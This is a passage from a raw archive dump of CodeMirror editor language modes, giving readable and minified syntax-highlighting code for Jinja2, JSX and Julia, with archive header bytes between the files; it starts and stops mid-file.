      "endspaceless", "ssi", "templatetag",
"openblock",
      "closeblock", "openvariable",
"closevariable",
      "openbrace", "closebrace",
"opencomment",
      "closecomment", "widthratio", "url",
"with", "endwith",
      "get_current_language", "trans",
"endtrans", "noop", "blocktrans",
      "endblocktrans", "get_available_languages",
      "get_current_language_bidi", "plural"],
    operator = /^[+\-*&%=<>!?|~^]/,
    sign = /^[:\[\(\{]/,
    atom = ["true", "false"],
    number = /^(\d[+\-\*\/])?\d+(\.\d+)?/;

    keywords = new RegExp("((" + keywords.join(")|(") +
"))\\b");
    atom = new RegExp("((" + atom.join(")|(") +
"))\\b");

    function tokenBase (stream, state) {
      var ch = stream.peek();

      //Comment
      if (state.incomment) {
        if(!stream.skipTo("#}")) {
          stream.skipToEnd();
        } else {
          stream.eatWhile(/\#|}/);
          state.incomment = false;
        }
        return "comment";
      //Tag
      } else if (state.intag) {
        //After operator
        if(state.operator) {
          state.operator = false;
          if(stream.match(atom)) {
            return "atom";
          }
          if(stream.match(number)) {
            return "number";
          }
        }
        //After sign
        if(state.sign) {
          state.sign = false;
          if(stream.match(atom)) {
            return "atom";
          }
          if(stream.match(number)) {
            return "number";
          }
        }

        if(state.instring) {
          if(ch == state.instring) {
            state.instring = false;
          }
          stream.next();
          return "string";
        } else if(ch == "'" || ch == '"') {
          state.instring = ch;
          stream.next();
          return "string";
        } else if(stream.match(state.intag + "}") ||
stream.eat("-") && stream.match(state.intag +
"}")) {
          state.intag = false;
          return "tag";
        } else if(stream.match(operator)) {
          state.operator = true;
          return "operator";
        } else if(stream.match(sign)) {
          state.sign = true;
        } else {
          if(stream.eat(" ") || stream.sol()) {
            if(stream.match(keywords)) {
              return "keyword";
            }
            if(stream.match(atom)) {
              return "atom";
            }
            if(stream.match(number)) {
              return "number";
            }
            if(stream.sol()) {
              stream.next();
            }
          } else {
            stream.next();
          }

        }
        return "variable";
      } else if (stream.eat("{")) {
        if (stream.eat("#")) {
          state.incomment = true;
          if(!stream.skipTo("#}")) {
            stream.skipToEnd();
          } else {
            stream.eatWhile(/\#|}/);
            state.incomment = false;
          }
          return "comment";
        //Open tag
        } else if (ch = stream.eat(/\{|%/)) {
          //Cache close tag
          state.intag = ch;
          if(ch == "{") {
            state.intag = "}";
          }
          stream.eat("-");
          return "tag";
        }
      }
      stream.next();
    };

    return {
      startState: function () {
        return {tokenize: tokenBase};
      },
      token: function (stream, state) {
        return state.tokenize(stream, state);
      },
      blockCommentStart: "{#",
      blockCommentEnd: "#}"
    };
  });

  CodeMirror.defineMIME("text/jinja2", "jinja2");
});
PKH��[ŪF4��$codemirror/mode/jinja2/jinja2.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("jinja2",(function(){function
a(a,g){var h=a.peek();if(g.incomment)return
a.skipTo("#}")?(a.eatWhile(/\#|}/),g.incomment=!1):a.skipToEnd(),"comment";if(g.intag){if(g.operator){if(g.operator=!1,a.match(e))return"atom";if(a.match(f))return"number"}if(g.sign){if(g.sign=!1,a.match(e))return"atom";if(a.match(f))return"number"}if(g.instring)return
h==g.instring&&(g.instring=!1),a.next(),"string";if("'"==h||'"'==h)return
g.instring=h,a.next(),"string";if(a.match(g.intag+"}")||a.eat("-")&&a.match(g.intag+"}"))return
g.intag=!1,"tag";if(a.match(c))return
g.operator=!0,"operator";if(a.match(d))g.sign=!0;else
if(a.eat("
")||a.sol()){if(a.match(b))return"keyword";if(a.match(e))return"atom";if(a.match(f))return"number";a.sol()&&a.next()}else
a.next();return"variable"}if(a.eat("{")){if(a.eat("#"))return
g.incomment=!0,a.skipTo("#}")?(a.eatWhile(/\#|}/),g.incomment=!1):a.skipToEnd(),"comment";if(h=a.eat(/\{|%/))return
g.intag=h,"{"==h&&(g.intag="}"),a.eat("-"),"tag"}a.next()}var
b=["and","as","block","endblock","by","cycle","debug","else","elif","extends","filter","endfilter","firstof","for","endfor","if","endif","ifchanged","endifchanged","ifequal","endifequal","ifnotequal","endifnotequal","in","include","load","not","now","or","parsed","regroup","reversed","spaceless","endspaceless","ssi","templatetag","openblock","closeblock","openvariable","closevariable","openbrace","closebrace","opencomment","closecomment","widthratio","url","with","endwith","get_current_language","trans","endtrans","noop","blocktrans","endblocktrans","get_available_languages","get_current_language_bidi","plural"],c=/^[+\-*&%=<>!?|~^]/,d=/^[:\[\(\{]/,e=["true","false"],f=/^(\d[+\-\*\/])?\d+(\.\d+)?/;return
b=new
RegExp("(("+b.join(")|(")+"))\\b"),e=new
RegExp("(("+e.join(")|(")+"))\\b"),{startState:function(){return{tokenize:a}},token:function(a,b){return
b.tokenize(a,b)},blockCommentStart:"{#",blockCommentEnd:"#}"}})),a.defineMIME("text/jinja2","jinja2")}));PKH��[����oocodemirror/mode/jsx/jsx.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../xml/xml"),
require("../javascript/javascript"))
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "../xml/xml",
"../javascript/javascript"], mod)
  else // Plain browser env
    mod(CodeMirror)
})(function(CodeMirror) {
  "use strict"

  // Depth means the amount of open braces in JS context, in XML
  // context 0 means not in tag, 1 means in tag, and 2 means in tag
  // and js block comment.
  function Context(state, mode, depth, prev) {
    this.state = state; this.mode = mode; this.depth = depth; this.prev =
prev
  }

  function copyContext(context) {
    return new Context(CodeMirror.copyState(context.mode, context.state),
                       context.mode,
                       context.depth,
                       context.prev && copyContext(context.prev))
  }

  CodeMirror.defineMode("jsx", function(config, modeConfig) {
    var xmlMode = CodeMirror.getMode(config, {name: "xml",
allowMissing: true, multilineTagIndentPastTag: false, allowMissingTagName:
true})
    var jsMode = CodeMirror.getMode(config, modeConfig &&
modeConfig.base || "javascript")

    function flatXMLIndent(state) {
      var tagName = state.tagName
      state.tagName = null
      var result = xmlMode.indent(state, "", "")
      state.tagName = tagName
      return result
    }

    function token(stream, state) {
      if (state.context.mode == xmlMode)
        return xmlToken(stream, state, state.context)
      else
        return jsToken(stream, state, state.context)
    }

    function xmlToken(stream, state, cx) {
      if (cx.depth == 2) { // Inside a JS /* */ comment
        if (stream.match(/^.*?\*\//)) cx.depth = 1
        else stream.skipToEnd()
        return "comment"
      }

      if (stream.peek() == "{") {
        xmlMode.skipAttribute(cx.state)

        var indent = flatXMLIndent(cx.state), xmlContext = cx.state.context
        // If JS starts on same line as tag
        if (xmlContext && stream.match(/^[^>]*>\s*$/, false))
{
          while (xmlContext.prev && !xmlContext.startOfLine)
            xmlContext = xmlContext.prev
          // If tag starts the line, use XML indentation level
          if (xmlContext.startOfLine) indent -= config.indentUnit
          // Else use JS indentation level
          else if (cx.prev.state.lexical) indent =
cx.prev.state.lexical.indented
        // Else if inside of tag
        } else if (cx.depth == 1) {
          indent += config.indentUnit
        }

        state.context = new Context(CodeMirror.startState(jsMode, indent),
                                    jsMode, 0, state.context)
        return null
      }

      if (cx.depth == 1) { // Inside of tag
        if (stream.peek() == "<") { // Tag inside of tag
          xmlMode.skipAttribute(cx.state)
          state.context = new Context(CodeMirror.startState(xmlMode,
flatXMLIndent(cx.state)),
                                      xmlMode, 0, state.context)
          return null
        } else if (stream.match("//")) {
          stream.skipToEnd()
          return "comment"
        } else if (stream.match("/*")) {
          cx.depth = 2
          return token(stream, state)
        }
      }

      var style = xmlMode.token(stream, cx.state), cur = stream.current(),
stop
      if (/\btag\b/.test(style)) {
        if (/>$/.test(cur)) {
          if (cx.state.context) cx.depth = 0
          else state.context = state.context.prev
        } else if (/^</.test(cur)) {
          cx.depth = 1
        }
      } else if (!style && (stop = cur.indexOf("{")) >
-1) {
        stream.backUp(cur.length - stop)
      }
      return style
    }

    function jsToken(stream, state, cx) {
      if (stream.peek() == "<" &&
jsMode.expressionAllowed(stream, cx.state)) {
        jsMode.skipExpression(cx.state)
        state.context = new Context(CodeMirror.startState(xmlMode,
jsMode.indent(cx.state, "", "")),
                                    xmlMode, 0, state.context)
        return null
      }

      var style = jsMode.token(stream, cx.state)
      if (!style && cx.depth != null) {
        var cur = stream.current()
        if (cur == "{") {
          cx.depth++
        } else if (cur == "}") {
          if (--cx.depth == 0) state.context = state.context.prev
        }
      }
      return style
    }

    return {
      startState: function() {
        return {context: new Context(CodeMirror.startState(jsMode),
jsMode)}
      },

      copyState: function(state) {
        return {context: copyContext(state.context)}
      },

      token: token,

      indent: function(state, textAfter, fullLine) {
        return state.context.mode.indent(state.context.state, textAfter,
fullLine)
      },

      innerMode: function(state) {
        return state.context
      }
    }
  }, "xml", "javascript")

  CodeMirror.defineMIME("text/jsx", "jsx")
  CodeMirror.defineMIME("text/typescript-jsx", {name:
"jsx", base: {name: "javascript", typescript: true}})
});
PKH��[���8	8	codemirror/mode/jsx/jsx.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../xml/xml","../javascript/javascript"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a,b,c,d){this.state=a,this.mode=b,this.depth=c,this.prev=d}function
c(d){return new
b(a.copyState(d.mode,d.state),d.mode,d.depth,d.prev&&c(d.prev))}a.defineMode("jsx",(function(d,e){function
f(a){var b=a.tagName;a.tagName=null;var
c=j.indent(a,"","");return a.tagName=b,c}function
g(a,b){return b.context.mode==j?h(a,b,b.context):i(a,b,b.context)}function
h(c,e,h){if(2==h.depth)return
c.match(/^.*?\*\//)?h.depth=1:c.skipToEnd(),"comment";if("{"==c.peek()){j.skipAttribute(h.state);var
i=f(h.state),l=h.state.context;if(l&&c.match(/^[^>]*>\s*$/,!1)){for(;l.prev&&!l.startOfLine;)l=l.prev;l.startOfLine?i-=d.indentUnit:h.prev.state.lexical&&(i=h.prev.state.lexical.indented)}else
1==h.depth&&(i+=d.indentUnit);return e.context=new
b(a.startState(k,i),k,0,e.context),null}if(1==h.depth){if("<"==c.peek())return
j.skipAttribute(h.state),e.context=new
b(a.startState(j,f(h.state)),j,0,e.context),null;if(c.match("//"))return
c.skipToEnd(),"comment";if(c.match("/*"))return
h.depth=2,g(c,e)}var
m,n=j.token(c,h.state),o=c.current();return/\btag\b/.test(n)?/>$/.test(o)?h.state.context?h.depth=0:e.context=e.context.prev:/^</.test(o)&&(h.depth=1):!n&&(m=o.indexOf("{"))>-1&&c.backUp(o.length-m),n}function
i(c,d,e){if("<"==c.peek()&&k.expressionAllowed(c,e.state))return
k.skipExpression(e.state),d.context=new
b(a.startState(j,k.indent(e.state,"","")),j,0,d.context),null;var
f=k.token(c,e.state);if(!f&&null!=e.depth){var
g=c.current();"{"==g?e.depth++:"}"==g&&0==--e.depth&&(d.context=d.context.prev)}return
f}var
j=a.getMode(d,{name:"xml",allowMissing:!0,multilineTagIndentPastTag:!1,allowMissingTagName:!0}),k=a.getMode(d,e&&e.base||"javascript");return{startState:function(){return{context:new
b(a.startState(k),k)}},copyState:function(a){return{context:c(a.context)}},token:g,indent:function(a,b,c){return
a.context.mode.indent(a.context.state,b,c)},innerMode:function(a){return
a.context}}}),"xml","javascript"),a.defineMIME("text/jsx","jsx"),a.defineMIME("text/typescript-jsx",{name:"jsx",base:{name:"javascript",typescript:!0}})}));PKH��[eK�G�0�0codemirror/mode/julia/julia.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("julia", function(config, parserConf) {
  function wordRegexp(words, end) {
    if (typeof end === "undefined") { end = "\\b"; }
    return new RegExp("^((" + words.join(")|(") +
"))" + end);
  }

  var octChar = "\\\\[0-7]{1,3}";
  var hexChar = "\\\\x[A-Fa-f0-9]{1,2}";
  var sChar = "\\\\[abefnrtv0%?'\"\\\\]";
  var uChar =
"([^\\u0027\\u005C\\uD800-\\uDFFF]|[\\uD800-\\uDFFF][\\uDC00-\\uDFFF])";

  var operators = parserConf.operators || wordRegexp([
        "[<>]:", "[<>=]=",
"<<=?", ">>>?=?", "=>",
"->", "\\/\\/",
        "[\\\\%*+\\-<>!=\\/^|&\\u00F7\\u22BB]=?",
"\\?", "\\$", "~", ":",
        "\\u00D7", "\\u2208", "\\u2209",
"\\u220B", "\\u220C", "\\u2218",
        "\\u221A", "\\u221B", "\\u2229",
"\\u222A", "\\u2260", "\\u2264",
        "\\u2265", "\\u2286", "\\u2288",
"\\u228A", "\\u22C5",
        "\\b(in|isa)\\b(?!\.?\\()"], "");
  var delimiters = parserConf.delimiters || /^[;,()[\]{}]/;
  var identifiers = parserConf.identifiers ||
       
/^[_A-Za-z\u00A1-\u2217\u2219-\uFFFF][\w\u00A1-\u2217\u2219-\uFFFF]*!*/;

  var chars = wordRegexp([octChar, hexChar, sChar, uChar],
"'");

  var openersList = ["begin", "function",
"type", "struct", "immutable",
"let",
        "macro", "for", "while",
"quote", "if", "else", "elseif",
"try",
        "finally", "catch", "do"];

  var closersList = ["end", "else", "elseif",
"catch", "finally"];

  var keywordsList = ["if", "else", "elseif",
"while", "for", "begin", "let",
        "end", "do", "try",
"catch", "finally", "return",
"break", "continue",
        "global", "local", "const",
"export", "import", "importall",
"using",
        "function", "where", "macro",
"module", "baremodule", "struct",
"type",
        "mutable", "immutable", "quote",
"typealias", "abstract", "primitive",
        "bitstype"];

  var builtinsList = ["true", "false",
"nothing", "NaN", "Inf"];

  CodeMirror.registerHelper("hintWords", "julia",
keywordsList.concat(builtinsList));

  var openers = wordRegexp(openersList);
  var closers = wordRegexp(closersList);
  var keywords = wordRegexp(keywordsList);
  var builtins = wordRegexp(builtinsList);

  var macro = /^@[_A-Za-z][\w]*/;
  var symbol = /^:[_A-Za-z\u00A1-\uFFFF][\w\u00A1-\uFFFF]*!*/;
  var stringPrefixes =
/^(`|([_A-Za-z\u00A1-\uFFFF]*"("")?))/;

  function inArray(state) {
    return (state.nestedArrays > 0);
  }

  function inGenerator(state) {
    return (state.nestedGenerators > 0);
  }

  function currentScope(state, n) {
    if (typeof(n) === "undefined") { n = 0; }
    if (state.scopes.length <= n) {
      return null;
    }
    return state.scopes[state.scopes.length - (n + 1)];
  }

  // tokenizers
  function tokenBase(stream, state) {
    // Handle multiline comments
    if (stream.match(/^#=/, false)) {
      state.tokenize = tokenComment;
      return state.tokenize(stream, state);
    }

    // Handle scope changes
    var leavingExpr = state.leavingExpr;
    if (stream.sol()) {
      leavingExpr = false;
    }
    state.leavingExpr = false;

    if (leavingExpr) {
      if (stream.match(/^'+/)) {
        return "operator";
      }
    }

    if (stream.match(/\.{4,}/)) {
      return "error";
    } else if (stream.match(/\.{1,3}/)) {
      return "operator";
    }

    if (stream.eatSpace()) {
      return null;
    }

    var ch = stream.peek();

    // Handle single line comments
    if (ch === '#') {
      stream.skipToEnd();
      return "comment";
    }

    if (ch === '[') {
      state.scopes.push('[');
      state.nestedArrays++;
    }

    if (ch === '(') {
      state.scopes.push('(');
      state.nestedGenerators++;
    }

    if (inArray(state) && ch === ']') {
      while (state.scopes.length && currentScope(state) !==
"[") { state.scopes.pop(); }
      state.scopes.pop();
      state.nestedArrays--;
      state.leavingExpr = true;
    }

    if (inGenerator(state) && ch === ')') {
      while (state.scopes.length && currentScope(state) !==
"(") { state.scopes.pop(); }
      state.scopes.pop();
      state.nestedGenerators--;
      state.leavingExpr = true;
    }

    if (inArray(state)) {
      if (state.lastToken == "end" && stream.match(/^:/))
{
        return "operator";
      }
      if (stream.match(/^end/)) {
        return "number";
      }
    }

    var match;
    if (match = stream.match(openers, false)) {
      state.scopes.push(match[0]);
    }

    if (stream.match(closers, false)) {
      state.scopes.pop();
    }

    // Handle type annotations
    if (stream.match(/^::(?![:\$])/)) {
      state.tokenize = tokenAnnotation;
      return state.tokenize(stream, state);
    }

    // Handle symbols
    if (!leavingExpr && stream.match(symbol) ||
       
stream.match(/:([<>]:|<<=?|>>>?=?|->|\/\/|\.{2,3}|[\.\\%*+\-<>!\/^|&]=?|[~\?\$])/))
{
      return "builtin";
    }

    // Handle parametric types
    //if (stream.match(/^{[^}]*}(?=\()/)) {
    //  return "builtin";
    //}

    // Handle operators and Delimiters
    if (stream.match(operators)) {
      return "operator";
    }

    // Handle Number Literals
    if (stream.match(/^\.?\d/, false)) {
      var imMatcher = RegExp(/^im\b/);
      var numberLiteral = false;
      if (stream.match(/^0x\.[0-9a-f_]+p[\+\-]?[_\d]+/i)) { numberLiteral =
true; }
      // Integers
      if (stream.match(/^0x[0-9a-f_]+/i)) { numberLiteral = true; } // Hex
      if (stream.match(/^0b[01_]+/i)) { numberLiteral = true; } // Binary
      if (stream.match(/^0o[0-7_]+/i)) { numberLiteral = true; } // Octal
      // Floats
      if
(stream.match(/^(?:(?:\d[_\d]*)?\.(?!\.)(?:\d[_\d]*)?|\d[_\d]*\.(?!\.)(?:\d[_\d]*))?([Eef][\+\-]?[_\d]+)?/i))
{ numberLiteral = true; }
      if (stream.match(/^\d[_\d]*(e[\+\-]?\d+)?/i)) { numberLiteral = true;
} // Decimal
      if (numberLiteral) {
          // Integer literals may be "long"
          stream.match(imMatcher);
          state.leavingExpr = true;
          return "number";
      }
    }

    // Handle Chars
    if (stream.match(/^'/)) {
      state.tokenize = tokenChar;
      return state.tokenize(stream, state);
    }

    // Handle Strings
    if (stream.match(stringPrefixes)) {
      state.tokenize = tokenStringFactory(stream.current());
      return state.tokenize(stream, state);
    }

    if (stream.match(macro)) {
      return "meta";
    }

    if (stream.match(delimiters)) {
      return null;
    }

    if (stream.match(keywords)) {
      return "keyword";
    }

    if (stream.match(builtins)) {
      return "builtin";
    }

    var isDefinition = state.isDefinition || state.lastToken ==
"function" ||
                       state.lastToken == "macro" ||
state.lastToken == "type" ||
                       state.lastToken == "struct" ||
state.lastToken == "immutable";

    if (stream.match(identifiers)) {
      if (isDefinition) {
        if (stream.peek() === '.') {
          state.isDefinition = true;
          return "variable";
        }
        state.isDefinition = false;
        return "def";
      }
      if (stream.match(/^({[^}]*})*\(/, false)) {
        state.tokenize = tokenCallOrDef;
        return state.tokenize(stream, state);
      }
      state.leavingExpr = true;
      return "variable";
    }

    // Handle non-detected items
    stream.next();
    return "error";
  }

  function tokenCallOrDef(stream, state) {
    var match = stream.match(/^(\(\s*)/);
    if (match) {
      if (state.firstParenPos < 0)
        state.firstParenPos = state.scopes.length;
      state.scopes.push('(');
      state.charsAdvanced += match[1].length;
    }
    if (currentScope(state) == '(' &&
stream.match(/^\)/)) {
      state.scopes.pop();
      state.charsAdvanced += 1;
      if (state.scopes.length <= state.firstParenPos) {
        var isDefinition = stream.match(/^(\s*where\s+[^\s=]+)*\s*?=(?!=)/,
false);
        stream.backUp(state.charsAdvanced);
        state.firstParenPos = -1;
        state.charsAdvanced = 0;
        state.tokenize = tokenBase;
        if (isDefinition)
          return "def";
        return "builtin";
      }
    }
    // Unfortunately javascript does not support multiline strings, so we
have
    // to undo anything done upto here if a function call or definition
splits
    // over two or more lines.
    if (stream.match(/^$/g, false)) {
      stream.backUp(state.charsAdvanced);
      while (state.scopes.length > state.firstParenPos)
        state.scopes.pop();
      state.firstParenPos = -1;
      state.charsAdvanced = 0;
      state.tokenize = tokenBase;
      return "builtin";
    }
    state.charsAdvanced += stream.match(/^([^()]*)/)[1].length;
    return state.tokenize(stream, state);
  }

  function tokenAnnotation(stream, state) {
    stream.match(/.*?(?=,|;|{|}|\(|\)|=|$|\s)/);
    if (stream.match(/^{/)) {
      state.nestedParameters++;
    } else if (stream.match(/^}/) && state.nestedParameters > 0)
{
      state.nestedParameters--;
    }
    if (state.nestedParameters > 0) {
      stream.match(/.*?(?={|})/) || stream.next();
    } else if (state.nestedParameters == 0) {
      state.tokenize = tokenBase;
    }
    return "builtin";
  }

  function tokenComment(stream, state) {
    if (stream.match(/^#=/)) {
      state.nestedComments++;
    }
    if (!stream.match(/.*?(?=(#=|=#))/)) {
      stream.skipToEnd();
    }
    if (stream.match(/^=#/)) {
      state.nestedComments--;
      if (state.nestedComments == 0)
        state.tokenize = tokenBase;
    }
    return "comment";
  }

  function tokenChar(stream, state) {
    var isChar = false, match;
    if (stream.match(chars)) {
      isChar = true;
    } else if (match = stream.match(/\\u([a-f0-9]{1,4})(?=')/i)) {
      var value = parseInt(match[1], 16);
      if (value <= 55295 || value >= 57344) { // (U+0,U+D7FF),
(U+E000,U+FFFF)
        isChar = true;
        stream.next();
      }
    } else if (match = stream.match(/\\U([A-Fa-f0-9]{5,8})(?=')/)) {
      var value = parseInt(match[1], 16);
      if (value <= 1114111) { // U+10FFFF
        isChar = true;
        stream.next();
      }
    }
    if (isChar) {
      state.leavingExpr = true;
      state.tokenize = tokenBase;
      return "string";
    }
    if (!stream.match(/^[^']+(?=')/)) { stream.skipToEnd(); }
    if (stream.match(/^'/)) { state.tokenize = tokenBase; }
    return "error";
  }

  function tokenStringFactory(delimiter) {
    if (delimiter.substr(-3) === '"""') {
      delimiter = '"""';
    } else if (delimiter.substr(-1) === '"') {
      delimiter = '"';
    }
    function tokenString(stream, state) {
      if (stream.eat('\\')) {
        stream.next();
      } else if (stream.match(delimiter)) {
        state.tokenize = tokenBase;
        state.leavingExpr = true;
        return "string";
      } else {
        stream.eat(/[`"]/);
      }
      stream.eatWhile(/[^\\`"]/);
      return "string";
    }
    return tokenString;
  }

  var external = {
    startState: function() {
      return {
        tokenize: tokenBase,
        scopes: [],
        lastToken: null,
        leavingExpr: false,
        isDefinition: false,
        nestedArrays: 0,
        nestedComments: 0,
        nestedGenerators: 0,
        nestedParameters: 0,
        charsAdvanced: 0,
        firstParenPos: -1
      };
    },

    token: function(stream, state) {
      var style = state.tokenize(stream, state);
      var current = stream.current();

      if (current && style) {
        state.lastToken = current;
      }

      return style;
    },

    indent: function(state, textAfter) {
      var delta = 0;
      if ( textAfter === ']' || textAfter === ')' ||
/^end/.test(textAfter) ||
           /^else/.test(textAfter) || /^catch/.test(textAfter) ||
/^elseif/.test(textAfter) ||
           /^finally/.test(textAfter) ) {
        delta = -1;
      }
      return (state.scopes.length + delta) * config.indentUnit;
    },

    electricInput: /\b(end|else|catch|finally)\b/,
    blockCommentStart: "#=",
    blockCommentEnd: "=#",
    lineComment: "#",
    closeBrackets: "()[]{}\"\"",
    fold: "indent"
  };
  return external;
});


CodeMirror.defineMIME("text/x-julia", "julia");

});
PKH��[
4�t>>"codemirror/mode/julia/julia.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("julia",(function(b,c){function
d(a,b){return void 0===b&&(b="\\b"),new
RegExp("^(("+a.join(")|(")+"))"+b)}function
e(a){return a.nestedArrays>0}function f(a){return
a.nestedGenerators>0}function g(a,b){return void
0===b&&(b=0),a.scopes.length<=b?null:a.scopes[a.scopes.length-(b+1)]}function
h(a,b){if(a.match(/^#=/,!1))return b.tokenize=k,b.tokenize(a,b);var
c=b.leavingExpr;if(a.sol()&&(c=!1),b.leavingExpr=!1,c&&a.match(/^'+/))return"operator";if(a.match(/\.{4,}/))return"error";if(a.match(/\.{1,3}/))return"operator";if(a.eatSpace())return
null;var d=a.peek();if("#"===d)return
a.skipToEnd(),"comment";if("["===d&&(b.scopes.push("["),b.nestedArrays++),"("===d&&(b.scopes.push("("),b.nestedGenerators++),e(b)&&"]"===d){for(;b.scopes.length&&"["!==g(b);)b.scopes.pop();b.scopes.pop(),b.nestedArrays--,b.leavingExpr=!0}if(f(b)&&")"===d){for(;b.scopes.length&&"("!==g(b);)b.scopes.pop();b.scopes.pop(),b.nestedGenerators--,b.leavingExpr=!0}if(e(b)){if("end"==b.lastToken&&a.match(/^:/))return"operator";if(a.match(/^end/))return"number"}var
h;if((h=a.match(v,!1))&&b.scopes.push(h[0]),a.match(w,!1)&&b.scopes.pop(),a.match(/^::(?![:\$])/))return
b.tokenize=j,b.tokenize(a,b);if(!c&&a.match(A)||a.match(/:([<>]:|<<=?|>>>?=?|->|\/\/|\.{2,3}|[\.\\%*+\-<>!\/^|&]=?|[~\?\$])/))return"builtin";if(a.match(n))return"operator";if(a.match(/^\.?\d/,!1)){var
q=RegExp(/^im\b/),r=!1;if(a.match(/^0x\.[0-9a-f_]+p[\+\-]?[_\d]+/i)&&(r=!0),a.match(/^0x[0-9a-f_]+/i)&&(r=!0),a.match(/^0b[01_]+/i)&&(r=!0),a.match(/^0o[0-7_]+/i)&&(r=!0),a.match(/^(?:(?:\d[_\d]*)?\.(?!\.)(?:\d[_\d]*)?|\d[_\d]*\.(?!\.)(?:\d[_\d]*))?([Eef][\+\-]?[_\d]+)?/i)&&(r=!0),a.match(/^\d[_\d]*(e[\+\-]?\d+)?/i)&&(r=!0),r)return
a.match(q),b.leavingExpr=!0,"number"}if(a.match(/^'/))return
b.tokenize=l,b.tokenize(a,b);if(a.match(B))return
b.tokenize=m(a.current()),b.tokenize(a,b);if(a.match(z))return"meta";if(a.match(o))return
null;if(a.match(x))return"keyword";if(a.match(y))return"builtin";var
s=b.isDefinition||"function"==b.lastToken||"macro"==b.lastToken||"type"==b.lastToken||"struct"==b.lastToken||"immutable"==b.lastToken;return
a.match(p)?s?"."===a.peek()?(b.isDefinition=!0,"variable"):(b.isDefinition=!1,"def"):a.match(/^({[^}]*})*\(/,!1)?(b.tokenize=i,b.tokenize(a,b)):(b.leavingExpr=!0,"variable"):(a.next(),"error")}function
i(a,b){var
c=a.match(/^(\(\s*)/);if(c&&(b.firstParenPos<0&&(b.firstParenPos=b.scopes.length),b.scopes.push("("),b.charsAdvanced+=c[1].length),"("==g(b)&&a.match(/^\)/)&&(b.scopes.pop(),b.charsAdvanced+=1,b.scopes.length<=b.firstParenPos)){var
d=a.match(/^(\s*where\s+[^\s=]+)*\s*?=(?!=)/,!1);return
a.backUp(b.charsAdvanced),b.firstParenPos=-1,b.charsAdvanced=0,b.tokenize=h,d?"def":"builtin"}if(a.match(/^$/g,!1)){for(a.backUp(b.charsAdvanced);b.scopes.length>b.firstParenPos;)b.scopes.pop();return
b.firstParenPos=-1,b.charsAdvanced=0,b.tokenize=h,"builtin"}return
b.charsAdvanced+=a.match(/^([^()]*)/)[1].length,b.tokenize(a,b)}function
j(a,b){return
a.match(/.*?(?=,|;|{|}|\(|\)|=|$|\s)/),a.match(/^{/)?b.nestedParameters++:a.match(/^}/)&&b.nestedParameters>0&&b.nestedParameters--,b.nestedParameters>0?a.match(/.*?(?={|})/)||a.next():0==b.nestedParameters&&(b.tokenize=h),"builtin"}function
k(a,b){return
a.match(/^#=/)&&b.nestedComments++,a.match(/.*?(?=(#=|=#))/)||a.skipToEnd(),a.match(/^=#/)&&0==--b.nestedComments&&(b.tokenize=h),"comment"}function
l(a,b){var c,d=!1;if(a.match(q))d=!0;else
if(c=a.match(/\\u([a-f0-9]{1,4})(?=')/i)){var
e=parseInt(c[1],16);(e<=55295||e>=57344)&&(d=!0,a.next())}else
if(c=a.match(/\\U([A-Fa-f0-9]{5,8})(?=')/)){var
e=parseInt(c[1],16);e<=1114111&&(d=!0,a.next())}return
d?(b.leavingExpr=!0,b.tokenize=h,"string"):(a.match(/^[^']+(?=')/)||a.skipToEnd(),a.match(/^'/)&&(b.tokenize=h),"error")}function
m(a){function
b(b,c){if(b.eat("\\"))b.next();else{if(b.match(a))return
c.tokenize=h,c.leavingExpr=!0,"string";b.eat(/[`"]/)}return
b.eatWhile(/[^\\`"]/),"string"}return'"""'===a.substr(-3)?a='"""':'"'===a.substr(-1)&&(a='"'),b}var
n=c.operators||d(["[<>]:","[<>=]=","<<=?",">>>?=?","=>","->","\\/\\/","[\\\\%*+\\-<>!=\\/^|&\\u00F7\\u22BB]=?","\\?","\\$","~",":","\\u00D7","\\u2208","\\u2209","\\u220B","\\u220C","\\u2218","\\u221A","\\u221B","\\u2229","\\u222A","\\u2260","\\u2264","\\u2265","\\u2286","\\u2288","\\u228A","\\u22C5","\\b(in|isa)\\b(?!.?\\()"],""),o=c.delimiters||/^[;,()[\]{}]/,p=c.identifiers||/^[_A-Za-z\u00A1-\u2217\u2219-\uFFFF][\w\u00A1-\u2217\u2219-\uFFFF]*!*/,q=d(["\\\\[0-7]{1,3}","\\\\x[A-Fa-f0-9]{1,2}","\\\\[abefnrtv0%?'\"\\\\]","([^\\u0027\\u005C\\uD800-\\uDFFF]|[\\uD800-\\uDFFF][\\uDC00-\\uDFFF])"],"'"),r=["begin","function","type","struct","immutable","let","macro","for","while","quote","if","else","elseif","try","finally","catch","do"],s=["end","else","elseif","catch","finally"],t=["if","else","elseif","while","for","begin","let","end","do","try","catch","finally","return","break","continue","global","local","const","export","import","importall","using","function","where","macro","module","baremodule","struct","type","mutable","immutable","quote","typealias","abstract","primitive","bitstype"],u=["true","false","nothing","NaN","Inf"];a.registerHelper("hintWords","julia",t.concat(u));var
